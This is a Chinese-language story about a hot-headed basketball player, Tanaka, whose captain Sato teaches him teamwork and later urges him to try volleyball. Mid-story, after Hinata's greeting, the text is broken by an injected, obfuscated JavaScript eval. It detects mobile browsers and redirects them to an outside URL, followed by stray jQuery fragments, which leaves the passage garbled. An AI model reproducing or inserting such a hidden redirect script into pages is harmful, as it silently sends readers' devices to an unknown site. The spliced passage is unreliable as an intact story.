田中裕树刚进雪之丘篮球社时，活像颗浑身带刺的仙人掌。第一次训练就凭着天生的高跳优势，抢了三年级学长三个篮板，还站在篮下挑眉笑：“学长这反应，也太慢了点吧？”气得学长把篮球往地上一砸，差点当场退社。
那时的他，眼里只有“赢”和“厉害”。队友传错球，他会当着所有人的面吼：“不会传就别传！别耽误我抢分！”教练安排基础训练，他偷偷跑去练三分，被发现了还嘴硬：“基础训练没用，能投进才是本事！”整个篮球社，没人愿意跟他组队，连递水都绕着他走——大家都觉得，这个“刺头”迟早会把社团搅得鸡犬不宁。
只有佐藤，当时还是副社长，没把他当“麻烦”。田中又一次跟队友吵架时，佐藤没像其他人那样劝架，反而把他拉到操场角落，扔给他一个篮球：“有本事，就用投篮赢我。赢了，你说什么都算；输了，就乖乖跟队友道歉。”
田中眼睛一亮，立刻摆好投篮姿势——他以为自己稳赢，毕竟佐藤的身高比他矮，平时也很少露手。可没想到，佐藤的防守比谁都狠，每次他要投篮，佐藤总能精准卡在他面前，哪怕被他撞得趔趄，也没退后半步。最后一个球，田中急了，想靠高跳强行上篮，却被佐藤看准时机，轻轻一盖，球飞出了界外。
“服了吗？”佐藤擦了擦额角的汗，语气没半点得意，“篮球不是一个人的运动，你跳得再高，投得再准，没人给你传球，也赢不了。”田中攥着篮球，脸涨得通红，却没像平时那样反驳——他第一次发现，原来自己引以为傲的“高跳”，在团队面前这么没用。
从那以后，佐藤成了唯一愿意“管”他的人。田中练球到天黑，佐藤会陪着他，帮他捡球，还教他“怎么跟队友配合传球”；田中又跟队友闹矛盾，佐藤不骂他，只是让他看着队友们一起练战术，说：“你看，他们传得多顺，不是你厉害就够了，是大家一起厉害才叫赢。”
有次县预选赛，田中因为太急着抢分，投丢了关键一球，球队输了比赛。他蹲在球场角落，没脸见人，队友们也没人过来安慰——直到佐藤把一瓶冰镇汽水递到他面前，拍着他的肩说：“没事，下次咱们一起把分赢回来。你跳得高，是咱们队的优势，只要你愿意跟大家配合，下次肯定能赢。”
那天傍晚，佐藤陪着田中在球场练到天黑，教他怎么在抢篮板后快速传球，怎么跟队友打“高低位配合”。田中第一次觉得，原来跟人一起练球，比一个人投三分有意思多了——队友传来的球，比自己抢来的篮板更让人踏实。
后来佐藤成了社长，第一件事就是把田中提拔成主力篮板手，还在社团大会上说：“田中跳得高，是咱们队的‘空中优势’，只要他愿意跟大家配合，咱们肯定能打遍全县。”没人反对，连以前跟田中吵架的学长，都拍着他的肩说：“以后靠你抢篮板，我们给你传球！”
田中看着眼前的佐藤，手里攥着那张排球社申请表，突然想起以前的日子——要是没有佐藤愿意包容他的狂妄，愿意教他“团队”是什么，他现在可能还是那个没人愿意理的“刺头”。他吸了吸鼻子，小声说：“社长，不管我去不去排球社，篮球队的比赛，我肯定不会掉链子。”
佐藤笑着拍他的肩：“我知道。去吧，去试试你好奇的东西，不管结果怎么样，篮球社永远有你的位置。”夕阳下，田中攥着申请表往排球场地跑，心里突然暖暖的——他以前总觉得，厉害就够了，现在才知道，有人愿意包容你的棱角，愿意带你找到“团队”的意义，才是最珍贵的事。
田中攥着排球社申请表站在操场边，看着日向和队友们追着球跑，耳边却反复响着佐藤刚才的话——“去试试吧，你好像挺有兴趣的”。风卷着沙粒打在脚踝上，他突然蹲下身，把脸埋在膝盖里，心里像堵了团浸了水的棉花，又闷又沉。
他不明白。明明上周友谊赛，佐藤还拍着他的肩说“你的篮板是咱们队的定心丸”；明明昨天加练到深夜，佐藤还陪着他练“空中接力”，连矿泉水都先递给他；明明自己已经改了以前的臭脾气，会主动给队友捡球，会在传错球时说“抱歉”，怎么转眼间，佐藤就要把他推向排球社？
“田中？怎么蹲在这？”赤苇的声音从头顶传来，手里还拿着个没开封的排球。田中抬起头，眼眶有点红，把申请表往他面前一递：“社长帮我交的，他让我来试试。”赤苇看着申请表上佐藤工整的字迹，愣了愣，随即在他身边蹲下，指了指不远处的篮球架——佐藤正独自对着篮板练投篮，每次球砸在篮筐上的声响，都像慢镜头里的重音，一下下敲在田中心上。
“你还记得上个月县预选赛吗？”赤苇的声音很轻，却精准地戳中了田中的记忆。那天最后三十秒，球队还落后两分，田中抢下关键篮板，却因为太急着上篮，被对方球员犯规，最后两罚全失。比赛结束后，他蹲在球场角落，听见队友们小声议论“要是田中不那么急就好了”，而佐藤只是走过来，把外套披在他身上，说“没事，下次咱们再来”。
“那天你没看见，”赤苇顿了顿，目光落在佐藤的背影上，“你走后，佐藤跟教练聊了很久，说‘田中太想证明自己了，把输赢看得太重，反而绑住了自己’。他还说，你每次练球都绷着劲，像根拉到极限的弓弦，再这么下去，迟早会断。”
田中猛地抬头，手指无意识地抠着申请表的边缘，把纸角都揉皱了。他想起自己每次抢篮板时，总怕失误，连呼吸都不敢太用力；想起每次队友传球慢了，他虽然没再吼人，却会忍不住皱眉头；想起佐藤上次跟他说“打球要开心点”，他当时只以为是客套话——原来社长早就看出来了，看出来他把自己困在了“必须厉害”的壳里。
“还有上周，你跟我聊起排球社的训练，”赤苇继续说，声音里带着点笑意，“你说日向垫球时总摔屁股墩，说岩泉扣球的姿势很帅，说排球落地时的声音‘很有意思’。你当时眼睛亮得像装了星星，可一提到篮球队，又马上低下头说‘我还是打 basketball 吧’。”
风又吹过来，这次带着排球场地的青草香。田中想起那天的自己，明明对着赤苇说了那么多排球社的趣事，却因为怕佐藤失望，硬是把“想去试试”的话咽了回去。他突然想起，那天佐藤路过时，好像听见了他们的对话，却只是笑着拍了拍他的肩，没说一句话。
“佐藤不是要推开你，”赤苇把排球放在田中手里，排球的触感软乎乎的，跟篮球的硬壳完全不同，“他是怕你因为‘篮球队主力’的身份，把自己真正喜欢的东西藏起来。就像你以前总因为‘要厉害’，把‘想跟队友一起玩’的心思藏起来一样。”
田中站起身，看向篮球架下的佐藤。夕阳把佐藤的影子拉得很长，他投完最后一个球，转身朝田中挥手，脸上带着熟悉的笑容。田中突然想起，以前自己总觉得佐藤是“管着他”的社长，却忘了——是佐藤在他没人愿意组队时，主动跟他一组；是佐藤在他被队友孤立时，教他怎么跟人相处；是佐藤在他把自己困在“输赢”里时，悄悄帮他推开了另一扇门，让他能看见更广阔的天地。
他攥紧手里的排球，突然朝着佐藤的方向喊：“社长！等我练完排球，还回来跟你练‘空中接力’！”佐藤笑着点头，朝他比了个“加油”的手势。风卷着排球的青草香和篮球的皮革味，绕在田中身边，他终于明白——佐藤从不是要推开他，而是怕他停在原地，错过真正让自己开心的东西；而那个永远为他留着的篮球队位置，才是佐藤藏在“推”背后，最踏实的“留”。
田中抱着排球跑向场地时，日向已经蹦到他面前，手里还晃着个写满战术的小本子：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379551|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“田中！赤苇说你会来试试，我跟大家都商量好了，先从基础垫球开始！”周围的排球社成员纷纷朝他笑，岩泉还递来一副护膝：“你膝盖之前受过伤，这个戴着能护着点。”
温暖的善意裹着风扑过来，田中却突然想起昨天篮球社的训练——他抢下篮板后下意识喊“传球”，队友们立刻默契地跑位，佐藤站在三分线外朝他比手势，眼里的信任像亮闪闪的星。鼻尖突然有点酸，他攥着护膝的手紧了紧，小声说：“我……我可能练不好。”
“没关系！”日向拍着他的肩，笑得露出两颗小虎牙，“我刚开始垫球时，球总砸到脸呢！赤苇还说我是‘人形接球靶’！”一句话逗得大家都笑了，田中也忍不住弯了嘴角，跟着他们走到场地中央。
可真练起来，他才发现排球和篮球完全不一样。篮球砸在掌心是扎实的硬实感，排球却像团软棉花，稍不使劲就飞歪，稍用劲又会拍疼手腕。练了没十分钟，他的手腕就红了一片，日向递来的矿泉水瓶贴在手腕上，凉丝丝的，却压不住心里的慌——他突然想念篮球砸在篮板上的“砰砰”声，想念佐藤喊他“空中优势”时的语气。
“是不是觉得难了？”赤苇走过来，手里拿着个软排球，“刚开始都这样，我之前练二传时，胳膊酸得连笔都握不住。”他把软排球递给田中，“先用这个练，找到手感再换硬球。”
田中接过软排球，指尖碰到球皮的瞬间，突然想起去年冬天——他因为练不好低位防守，在球场冻得直搓手，佐藤把自己的暖手宝塞给他，还拿着篮球陪他练：“别急，防守靠的是脚步，不是蛮力，你跟着我走。”那天的风比现在还冷，可佐藤的手心却暖得烫人。
“田中？发什么呆呢？”日向的声音把他拉回现实，“该你垫球啦！”田中回过神，深吸一口气，学着赤苇教的姿势，轻轻把软排球垫了出去。球没飞歪，稳稳落在日向手里，日向兴奋地蹦起来：“成啦！田中你好厉害！”
周围的人跟着鼓掌，田中看着手里的软排球，突然觉得没那么慌了。他想起佐藤帮他交申请表时的眼神，想起赤苇说的“怕你藏起真正喜欢的东西”，心里像被什么东西轻轻撞了一下——原来社长从不是要推开他，而是想让他试着卸下“必须厉害”的包袱，像喜欢篮球那样，单纯地享受另一种运动的快乐。
练到夕阳西下，排球社的训练才结束。田中收拾东西时，看见佐藤还站在篮球架下等他，手里拿着瓶冰镇运动饮料。“怎么样？”佐藤递过饮料，眼里带着笑意，“没被日向那小子折腾坏吧？”
“才没有！”田中接过饮料，仰头喝了一大口，冰凉的液体顺着喉咙滑下去，舒服得叹了口气，“我今天还学会垫软排球了，赤苇说我手感不错。”
“我就知道你能行。”佐藤拍了拍他的肩，指了指篮球架，“要不要来投两个？好久没跟你练‘空中接力’了。”田中眼睛一亮，立刻放下排球，跑到场边拿起篮球。
夕阳把两个人的影子拉得很长，篮球在指尖转动，田中助跑、起跳，篮球稳稳地被佐藤传过来，他伸手接住，狠狠扣进篮筐——熟悉的“砰”声响起，周围的空气好像都跟着热了起来。
落地时，田中看着佐藤笑得灿烂的脸，突然大声说：“社长！谢谢你！”谢谢你在我狂妄时没放弃我，谢谢你在我困在原地时推我一把，更谢谢你，永远为我留着篮球社的位置。
佐藤愣了愣，随即笑了，伸手揉了揉他的头发：“谢什么？你可是咱们队的‘空中优势’啊。”风卷着篮球的皮革味和排球的青草香，绕在两个人身边，田中突然明白——他和佐藤之间，从来不是谁推开谁，而是像篮球和传球手那样，是彼此信任、彼此支撑的双向奔赴。而未来，不管是篮球还是排球，只要有这份支撑在，他就永远不会害怕尝试新的东西。